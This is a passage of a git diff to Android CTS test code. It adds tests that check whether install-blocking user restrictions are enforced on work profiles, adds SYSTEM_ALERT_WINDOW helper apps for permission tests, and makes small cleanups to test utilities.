+ MediaMetadata metadataOut = mCallback.mMediaMetadata;
+ assertNotNull(metadataOut);
+ assertEquals(metadataOut.getString(MediaMetadata.METADATA_KEY_ART_URI), testMediaUri);
+ }
+ }
+
/**
* Test whether media button receiver can be a explicit broadcast receiver via
* MediaSession.setMediaButtonReceiver(PendingIntent).
diff --git a/tests/tests/networksecurityconfig/src/android/security/net/config/cts/BaseTestCase.java b/tests/tests/networksecurityconfig/src/android/security/net/config/cts/BaseTestCase.java
index d83cd94..b0cbdcb 100644
--- a/tests/tests/networksecurityconfig/src/android/security/net/config/cts/BaseTestCase.java
+++ b/tests/tests/networksecurityconfig/src/android/security/net/config/cts/BaseTestCase.java
@@ -48,7 +48,7 @@
WifiManager wifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
if (!wifiManager.isWifiEnabled()) {
SystemUtil.runShellCommand("svc wifi enable"); // toggle wifi on.
- Thread.sleep(5000); // sleep 5 second for wifi to connect to a network.
+ Thread.sleep(6000); // sleep 6 second for wifi to connect to a network.
}
}
}
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index 02970ea..3e2aeee 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -25,7 +25,6 @@
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
-import android.graphics.Point
import android.os.Handler
import android.os.Looper
import android.os.ParcelFileDescriptor
@@ -236,12 +235,7 @@
waitFindObject(uiAutomation, By.text("Open")).click()
} else {
runShellCommandOrThrow(CMD_EXPAND_NOTIFICATIONS)
- val notification = waitFindNotification(notifSelector, NOTIF_FIND_TIMEOUT)
- if (FeatureUtil.isAutomotive()) {
- notification.click(Point(0, 0))
- } else {
- notification.click()
- }
+ waitFindNotification(notifSelector, NOTIF_FIND_TIMEOUT).click()
}
}
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 4c2d2fd..db58721 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -98,8 +98,6 @@
companion object {
const val LOG_TAG = "AutoRevokeTest"
- const val REQUEST_ALLOWLIST_BTN_TEXT = "Request allowlist"
- const val ALLOWLIST_TEXTVIEW_STATUS = "Auto-revoke allowlisted: "
@JvmStatic
@BeforeClass
@@ -316,14 +314,7 @@
assertAllowlistState(false)
// Verify
- if (hasFeatureWatch()) {
- waitFindNode(hasTextThat(
- containsStringIgnoringCase(
- REQUEST_ALLOWLIST_BTN_TEXT))).click()
- } else {
- waitFindObject(byTextIgnoreCase(
- REQUEST_ALLOWLIST_BTN_TEXT)).click()
- }
+ waitFindObject(byTextIgnoreCase("Request allowlist")).click()
waitFindObject(byTextIgnoreCase("Permissions")).click()
val autoRevokeEnabledToggle = getAllowlistToggle()
assertTrue(autoRevokeEnabledToggle.isChecked())
@@ -532,14 +523,9 @@
}
private fun assertAllowlistState(state: Boolean) {
- if (hasFeatureWatch()) {
- waitFindNode(hasTextThat(containsStringIgnoringCase(
- ALLOWLIST_TEXTVIEW_STATUS + state.toString())))
- } else {
- assertThat(
- waitFindObject(By.textStartsWith(ALLOWLIST_TEXTVIEW_STATUS)).text,
- containsString(state.toString()))
- }
+ assertThat(
+ waitFindObject(By.textStartsWith("Auto-revoke allowlisted: ")).text,
+ containsString(state.toString()))
}
private fun getAllowlistToggle(): UiObject2 {
diff --git a/tests/tests/packageinstaller/install/Android.bp b/tests/tests/packageinstaller/install/Android.bp
index 3d3e21a..458b9a7 100644
--- a/tests/tests/packageinstaller/install/Android.bp
+++ b/tests/tests/packageinstaller/install/Android.bp
@@ -34,6 +34,9 @@
"androidx.legacy_legacy-support-v4",
"platform-test-annotations",
"truth-prebuilt",
+ "Nene",
+ "Harrier",
+ "kotlin-test",
],
test_suites: [
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index 65ab22f..43f6fa9 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+ <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
@@ -46,8 +47,15 @@
<option name="run-command" value="appops set android.packageinstaller.install.cts REQUEST_INSTALL_PACKAGES allow" />
</target_preparer>
+ <!-- Required for UserRestrictionInstallTest (b/277987631) -->
+ <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
+ <option name="force-root" value="false" />
+ </target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.packageinstaller.install.cts" />
<option name="runtime-hint" value="1m" />
+ <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
+ <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
</test>
</configuration>
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index 01d590d..b133834 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -231,13 +231,19 @@
/**
* Start an installation via a session
*/
- protected fun startInstallationViaIntent(): CompletableFuture<Int> {
+ protected fun startInstallationViaIntent(
+ intent: Intent = getInstallationIntent()
+ ): CompletableFuture<Int> {
+ return installDialogStarter.activity.startActivityForResult(intent)
+ }
+
+ protected fun getInstallationIntent(): Intent {
val intent = Intent(Intent.ACTION_INSTALL_PACKAGE)
intent.data = FileProvider.getUriForFile(context, CONTENT_AUTHORITY, apkFile)
- intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
+ intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
- return installDialogStarter.activity.startActivityForResult(intent)
+ return intent
}
fun assertInstalled() {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/UserRestrictionInstallTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/UserRestrictionInstallTest.kt
new file mode 100644
index 0000000..14676b1
--- /dev/null
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/UserRestrictionInstallTest.kt
@@ -0,0 +1,370 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.packageinstaller.install.cts
+
+import android.app.Activity
+import android.app.PendingIntent
+import android.content.Intent
+import android.content.pm.PackageInstaller.EXTRA_STATUS
+import android.content.pm.PackageInstaller.STATUS_FAILURE_INVALID
+import android.content.pm.PackageInstaller.STATUS_PENDING_USER_ACTION
+import android.content.pm.PackageInstaller.Session
+import android.content.pm.PackageInstaller.SessionParams
+import android.os.Bundle
+import android.os.UserManager.DISALLOW_DEBUGGING_FEATURES
+import android.os.UserManager.DISALLOW_INSTALL_APPS
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObject
+import android.support.test.uiautomator.UiSelector
+import androidx.core.content.FileProvider
+import androidx.test.InstrumentationRegistry
+import com.android.bedstead.harrier.BedsteadJUnit4
+import com.android.bedstead.harrier.DeviceState
+import com.android.bedstead.harrier.annotations.EnsureHasAppOp
+import com.android.bedstead.harrier.annotations.EnsureHasPermission
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile
+import com.android.bedstead.nene.TestApis
+import com.android.bedstead.nene.appops.CommonAppOps.OPSTR_REQUEST_INSTALL_PACKAGES
+import com.android.bedstead.nene.exceptions.AdbException
+import com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS_FULL
+import com.android.bedstead.nene.users.UserReference
+import com.android.bedstead.nene.utils.ShellCommand
+import com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME
+import com.android.compatibility.common.util.ApiTest
+import com.android.compatibility.common.util.BlockingBroadcastReceiver
+import com.google.common.truth.Truth.assertThat
+import com.google.common.truth.Truth.assertWithMessage
+import java.io.File
+import java.util.concurrent.TimeUnit
+import kotlin.test.assertFailsWith
+import org.junit.After
+import org.junit.Assert.fail
+import org.junit.Before
+import org.junit.ClassRule
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(BedsteadJUnit4::class)
+class UserRestrictionInstallTest : PackageInstallerTestBase() {
+ private val APP_INSTALL_ACTION =
+ "android.packageinstaller.install.cts.UserRestrictionInstallTest.action"
+ private val INSTALL_BUTTON_ID = "button1"
+ private val context = InstrumentationRegistry.getTargetContext()
+ private val uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+
+ companion object {
+ @JvmField
+ @ClassRule
+ @Rule
+ val sDeviceState = DeviceState()
+ }
+
+ @Before
+ fun uninstallTestApp() {
+ val cmd = ShellCommand.builder("pm uninstall")
+ cmd.addOperand(TEST_APK_PACKAGE_NAME)
+ try {
+ cmd.execute()
+ } catch (_: AdbException) {
+ fail("Could not uninstall $TEST_APK_PACKAGE_NAME")
+ }
+ }
+
+ @After
+ fun clearUserRestrictions() {
+ val restrictions = arrayOf(DISALLOW_DEBUGGING_FEATURES, DISALLOW_INSTALL_APPS)
+ for (restriction in restrictions) {
+ sDeviceState.dpc().devicePolicyManager().clearUserRestriction(
+ DPC_COMPONENT_NAME, restriction)
+ }
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_DEBUGGING_FEATURES"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ fun disallowDebuggingFeatures_adbInstallOnAllUsers_installedOnUnrestrictedUser() {
+ setUserRestriction(DISALLOW_DEBUGGING_FEATURES)
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isFalse()
+
+ val primaryUser = sDeviceState.primaryUser()
+ val workProfile = sDeviceState.workProfile()
+
+ installPackageViaAdb(apkPath = "$TEST_APK_EXTERNAL_LOCATION/$TEST_APK_NAME")
+
+ assertWithMessage("Test app should be installed in initial user")
+ .that(TestApis.packages().find(TEST_APK_PACKAGE_NAME).installedOnUser(primaryUser))
+ .isTrue()
+
+ assertWithMessage("Test app shouldn't be installed in a work profile with " +
+ "$DISALLOW_DEBUGGING_FEATURES set")
+ .that(TestApis.packages().find(TEST_APK_PACKAGE_NAME).installedOnUser(workProfile))
+ .isFalse()
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_DEBUGGING_FEATURES"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ fun disallowDebuggingFeatures_adbInstallOnWorkProfile_fails() {
+ setUserRestriction(DISALLOW_DEBUGGING_FEATURES)
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isFalse()
+
+ val workProfile = sDeviceState.workProfile()
+
+ installPackageViaAdb(apkPath = "$TEST_APK_EXTERNAL_LOCATION/$TEST_APK_NAME",
+ user = workProfile)
+
+ assertWithMessage("Test app shouldn't be installed in a work profile with " +
+ "$DISALLOW_DEBUGGING_FEATURES set")
+ .that(TestApis.packages().find(TEST_APK_PACKAGE_NAME).installedOnUser(workProfile))
+ .isFalse()
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_DEBUGGING_FEATURES"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ @EnsureHasPermission(INTERACT_ACROSS_USERS_FULL)
+ fun disallowDebuggingFeatures_sessionInstallOnWorkProfile_getInstallRequest() {
+ setUserRestriction(DISALLOW_DEBUGGING_FEATURES)
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isFalse()
+
+ val workProfile = sDeviceState.workProfile()
+ val (_, session) = createSessionForUser(workProfile)
+ try {
+ writeSessionAsUser(workProfile, session)
+ val result: Intent? = commitSessionAsUser(workProfile, session)
+ assertThat(result).isNotNull()
+ assertThat(result!!.getIntExtra(EXTRA_STATUS, STATUS_FAILURE_INVALID))
+ .isEqualTo(STATUS_PENDING_USER_ACTION)
+ } finally {
+ session.abandon()
+ }
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_DEBUGGING_FEATURES"])
+ @EnsureHasAppOp(OPSTR_REQUEST_INSTALL_PACKAGES)
+ @RequireRunOnWorkProfile
+ fun disallowDebuggingFeatures_intentInstallOnWorkProfile_installationSucceeds() {
+ setUserRestriction(DISALLOW_DEBUGGING_FEATURES)
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isFalse()
+
+ val context = TestApis.context().instrumentedContext()
+ val apkFile = File(context.filesDir, TEST_APK_NAME)
+ val appInstallIntent = getAppInstallationIntent(apkFile)
+
+ val installation = startInstallationViaIntent(appInstallIntent)
+ clickInstallerUIButton(INSTALL_BUTTON_ID)
+
+ // Install should have succeeded
+ assertThat(installation.get(TIMEOUT, TimeUnit.MILLISECONDS)).isEqualTo(Activity.RESULT_OK)
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_INSTALL_APPS"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ fun disallowInstallApps_adbInstallOnAllUsers_installedOnUnrestrictedUser() {
+ setUserRestriction(DISALLOW_INSTALL_APPS)
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isFalse()
+
+ val primaryUser = sDeviceState.primaryUser()
+ val workProfile = sDeviceState.workProfile()
+
+ installPackageViaAdb(apkPath = "$TEST_APK_EXTERNAL_LOCATION/$TEST_APK_NAME")
+
+ var targetPackage = TestApis.packages().installedForUser(primaryUser).filter {
+ it.packageName().equals(TEST_APK_PACKAGE_NAME)
+ }
+ assertWithMessage("Test app should be installed in initial user")
+ .that(targetPackage.size).isNotEqualTo(0)
+
+ targetPackage = TestApis.packages().installedForUser(workProfile).filter {
+ it.packageName().equals(TEST_APK_PACKAGE_NAME)
+ }
+ assertWithMessage("Test app shouldn't be installed in a work profile with " +
+ "$DISALLOW_INSTALL_APPS set")
+ .that(targetPackage.size).isEqualTo(0)
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_INSTALL_APPS"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ fun disallowInstallApps_adbInstallOnWorkProfile_fails() {
+ setUserRestriction(DISALLOW_INSTALL_APPS)
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isFalse()
+
+ val workProfile = sDeviceState.workProfile()
+
+ installPackageViaAdb(apkPath = "$TEST_APK_EXTERNAL_LOCATION/$TEST_APK_NAME",
+ user = workProfile)
+
+ val targetPackage = TestApis.packages().installedForUser(workProfile).filter {
+ it.packageName().equals(TEST_APK_PACKAGE_NAME)
+ }
+ assertWithMessage("Test app shouldn't be installed in a work profile with " +
+ "$DISALLOW_DEBUGGING_FEATURES set")
+ .that(targetPackage.size).isEqualTo(0)
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_INSTALL_APPS"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ @EnsureHasPermission(INTERACT_ACROSS_USERS_FULL)
+ fun disallowInstallApps_sessionInstallOnWorkProfile_throwsException() {
+ setUserRestriction(DISALLOW_INSTALL_APPS)
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isFalse()
+
+ val workProfile = sDeviceState.workProfile()
+ assertFailsWith(SecurityException::class) {
+ createSessionForUser(workProfile)
+ }
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_INSTALL_APPS"])
+ @EnsureHasAppOp(OPSTR_REQUEST_INSTALL_PACKAGES)
+ @RequireRunOnWorkProfile
+ fun disallowInstallApps_intentInstallOnWorkProfile_installationFails() {
+ setUserRestriction(DISALLOW_INSTALL_APPS)
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isTrue()
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isFalse()
+
+ val context = TestApis.context().instrumentedContext()
+ val apkFile = File(context.filesDir, TEST_APK_NAME)
+ val appInstallIntent = getAppInstallationIntent(apkFile)
+
+ val installation = startInstallationViaIntent(appInstallIntent)
+ val okBtn: UiObject = uiDevice.findObject(UiSelector().text("OK"))
+ okBtn.click()
+
+ // Install should have failed
+ assertThat(installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
+ .isEqualTo(Activity.RESULT_CANCELED)
+ }
+
+ @Test
+ @ApiTest(apis = ["android.os.UserManager#DISALLOW_DEBUGGING_FEATURES",
+ "android.os.UserManager#DISALLOW_INSTALL_APPS"])
+ @EnsureHasWorkProfile(dpcIsPrimary = true)
+ fun unrestrictedWorkProfile_adbInstallOnAllUsers_installedOnAllUsers() {
+ assertThat(isUserRestricted(DISALLOW_DEBUGGING_FEATURES)).isFalse()
+ assertThat(isUserRestricted(DISALLOW_INSTALL_APPS)).isFalse()
+
+ val primaryUser = sDeviceState.primaryUser()
+ val workProfile = sDeviceState.workProfile()
+
+ installPackageViaAdb(apkPath = "$TEST_APK_EXTERNAL_LOCATION/$TEST_APK_NAME")
+
+ var targetPackage = TestApis.packages().installedForUser(primaryUser).filter {
+ it.packageName().equals(TEST_APK_PACKAGE_NAME)
+ }
+ assertWithMessage("Test app should be installed in initial user")
+ .that(targetPackage.size).isNotEqualTo(0)
+
+ targetPackage = TestApis.packages().installedForUser(workProfile).filter {
+ it.packageName().equals(TEST_APK_PACKAGE_NAME)
+ }
+ assertWithMessage("Test app should be installed in work profile")
+ .that(targetPackage.size).isNotEqualTo(0)
+ }
+
+ private fun installPackageViaAdb(apkPath: String, user: UserReference? = null): String? {
+ val cmd = ShellCommand.builderForUser(user, "pm install")
+ cmd.addOperand(apkPath)
+ return try {
+ cmd.execute()
+ } catch (e: AdbException) {
+ null
+ }
+ }
+
+ @Throws(SecurityException::class)
+ private fun createSessionForUser(user: UserReference = sDeviceState.primaryUser()):
+ Pair<Int, Session> {
+ val context = TestApis.context().androidContextAsUser(user)
+ val pm = context.packageManager
+ val pi = pm.packageInstaller
+
+ val params = SessionParams(SessionParams.MODE_FULL_INSTALL)
+ params.setRequireUserAction(SessionParams.USER_ACTION_REQUIRED)
+
+ val sessionId = pi.createSession(params)
+ val session = pi.openSession(sessionId)
+
+ return Pair(sessionId, session)
+ }
+
+ private fun writeSessionAsUser(
+ user: UserReference = sDeviceState.primaryUser(),
+ session: Session
+ ) {
+ val context = TestApis.context().androidContextAsUser(user)
+ val apkFile = File(context.filesDir, TEST_APK_NAME)
+ // Write data to session
+ apkFile.inputStream().use { fileOnDisk ->
+ session.openWrite(TEST_APK_NAME, 0, -1).use { sessionFile ->
+ fileOnDisk.copyTo(sessionFile)
+ }
+ }
+ }
+
+ private fun commitSessionAsUser(
+ user: UserReference = sDeviceState.primaryUser(),
+ session: Session
+ ): Intent? {
+ val context = TestApis.context().androidContextAsUser(user)
+ val receiver: BlockingBroadcastReceiver =
+ sDeviceState.registerBroadcastReceiverForUser(user, APP_INSTALL_ACTION)
+ receiver.register()
+
+ val intent = Intent(APP_INSTALL_ACTION).setPackage(context.packageName)
+ val pendingIntent = PendingIntent.getBroadcast(
+ context, 0 /* requestCode */, intent,
+ PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE)
+
+ session.commit(pendingIntent.intentSender)
+
+ // The system should have asked us to launch the installer
+ return receiver.awaitForBroadcast()
+ }
+
+ private fun getAppInstallationIntent(apkFile: File): Intent {
+ val intent = Intent(Intent.ACTION_INSTALL_PACKAGE)
+ intent.data = FileProvider.getUriForFile(context, CONTENT_AUTHORITY, apkFile)
+ intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
+ intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
+ return intent
+ }
+
+ private fun setUserRestriction(restriction: String) {
+ sDeviceState.dpc().devicePolicyManager().addUserRestriction(DPC_COMPONENT_NAME, restriction)
+ }
+
+ private fun isUserRestricted(restriction: String): Boolean {
+ val restrictions: Bundle = sDeviceState.dpc().devicePolicyManager()
+ .getUserRestrictions(DPC_COMPONENT_NAME)
+ return restrictions.getBoolean(restriction, false)
+ }
+}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index eae7276..f90f789 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -47,6 +47,7 @@
// which provides assertThrows
"testng",
"bluetooth-test-util-lib",
+ "sts-device-util",
],
jni_libs: [
"libctspermission_jni",
@@ -111,6 +112,8 @@
":CtsStorageEscalationApp29Full",
":CtsStorageEscalationApp29Scoped",
":CtsVictimPermissionDefinerApp",
+ ":CtsAppThatRequestsSystemAlertWindow22",
+ ":CtsAppThatRequestsSystemAlertWindow23",
],
per_testcase_directory: true,
}
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index f16ef09..95f79df 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -94,6 +94,8 @@
<option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
<option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
<option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
+ <option name="push" value="CtsAppThatRequestsSystemAlertWindow22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow22.apk" />
+ <option name="push" value="CtsAppThatRequestsSystemAlertWindow23.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow23.apk" />
</target_preparer>
<!-- Remove additional apps if installed -->
diff --git a/apps/MainlineModuleDetector/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
similarity index 62%
copy from apps/MainlineModuleDetector/Android.bp
copy to tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
index 2cba39f..43cc9de 100644
--- a/apps/MainlineModuleDetector/Android.bp
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
@@ -1,5 +1,5 @@
//
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -15,24 +15,18 @@
//
package {
- // See: http://go/android-license-faq
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
- srcs: ["src/**/*.java"],
- sdk_version: "current",
+android_test_helper_app {
+ name: "CtsAppThatRequestsSystemAlertWindow22",
+ target_sdk_version: "22",
+ certificate: ":cts-testkey2",
+ min_sdk_version: "22",
test_suites: [
"cts",
"general-tests",
+ "mts-permission",
"sts",
],
}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission3.cts.usesystemalertwindowpermission">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/apps/MainlineModuleDetector/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
similarity index 62%
copy from apps/MainlineModuleDetector/Android.bp
copy to tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
index 2cba39f..403257d 100644
--- a/apps/MainlineModuleDetector/Android.bp
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
@@ -1,5 +1,5 @@
//
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -15,24 +15,18 @@
//
package {
- // See: http://go/android-license-faq
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
- srcs: ["src/**/*.java"],
- sdk_version: "current",
+android_test_helper_app {
+ name: "CtsAppThatRequestsSystemAlertWindow23",
+ target_sdk_version: "23",
+ certificate: ":cts-testkey2",
+ min_sdk_version: "23",
test_suites: [
"cts",
"general-tests",
+ "mts-permission",
"sts",
],
}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission3.cts.usesystemalertwindowpermission">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index a4239e1..7dd1ae5 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -254,6 +254,26 @@
}
/**
+ * Get all the flags of a permission.
+ *
+ * @param packageName Package the permission belongs to
+ * @param permission Name of the permission
+ *
+ * @return Permission flags
+ */
+ public static int getAllPermissionFlags(@NonNull String packageName,
+ @NonNull String permission) {
+ try {
+ return callWithShellPermissionIdentity(
+ () -> sContext.getPackageManager().getPermissionFlags(permission, packageName,
+ UserHandle.getUserHandleForUid(Process.myUid())),
+ GRANT_RUNTIME_PERMISSIONS);
+ } catch (Exception e) {
+ throw new IllegalStateException(e);
+ }
+ }
+
+ /**
* Get the flags of a permission.
*
* @param packageName Package the permission belongs to
@@ -262,14 +282,7 @@
* @return Permission flags
*/
public static int getPermissionFlags(@NonNull String packageName, @NonNull String permission) {
- try {
- return callWithShellPermissionIdentity(
- () -> sContext.getPackageManager().getPermissionFlags(permission, packageName,
- UserHandle.getUserHandleForUid(Process.myUid())) & TESTED_FLAGS,
- GRANT_RUNTIME_PERMISSIONS);
- } catch (Exception e) {
- throw new IllegalStateException(e);
- }
+ return getAllPermissionFlags(packageName, permission) & TESTED_FLAGS;
}
/**
